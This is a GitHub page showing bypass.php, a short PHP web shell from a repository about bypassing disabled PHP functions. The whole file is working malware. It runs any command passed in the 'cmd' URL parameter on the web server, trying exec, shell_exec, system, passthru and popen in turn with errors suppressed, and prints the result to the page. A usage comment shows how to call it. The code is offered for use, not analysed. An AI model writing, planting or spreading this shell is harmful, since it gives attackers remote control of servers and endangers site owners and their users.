forked from l3m0n/Bypass_Disable_functions_Shell
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbypass.php
More file actions
42 lines (41 loc) · 902 Bytes
/
bypass.php
File metadata and controls
42 lines (41 loc) · 902 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
//from silic-webshell
//usage: http://lemon.love:8081/bypass.php?cmd=ipconfig
function Exec_Run($cmd) {
$res = '';
if (function_exists('exec')) {
@exec($cmd, $res);
$res = join("\n", $res);
} elseif (function_exists('shell_exec')) {
$res = @shell_exec($cmd);
} elseif (function_exists('system')) {
@ob_start();@system($cmd);
$res = @ob_get_contents();
@ob_end_clean();
} elseif (function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$res = @ob_get_contents();
@ob_end_clean();
} elseif (@is_resource($f = @popen($cmd, "r"))) {
$res = '';
while (!@feof($f)) {$res .= @fread($f, 1024);}
@pclose($f);
}
return $res;
}
function Exec_g() {
$res = '回显';
$cmd = 'whoami';
if (!empty($_GET['cmd'])) {
$cmd = $_GET['cmd'];
}
$res = Exec_Run($cmd);
print <<<END
<pre>
command >> <span style="color:red">{$cmd}</span>
{$res}
</pre>
END;
}
Exec_g();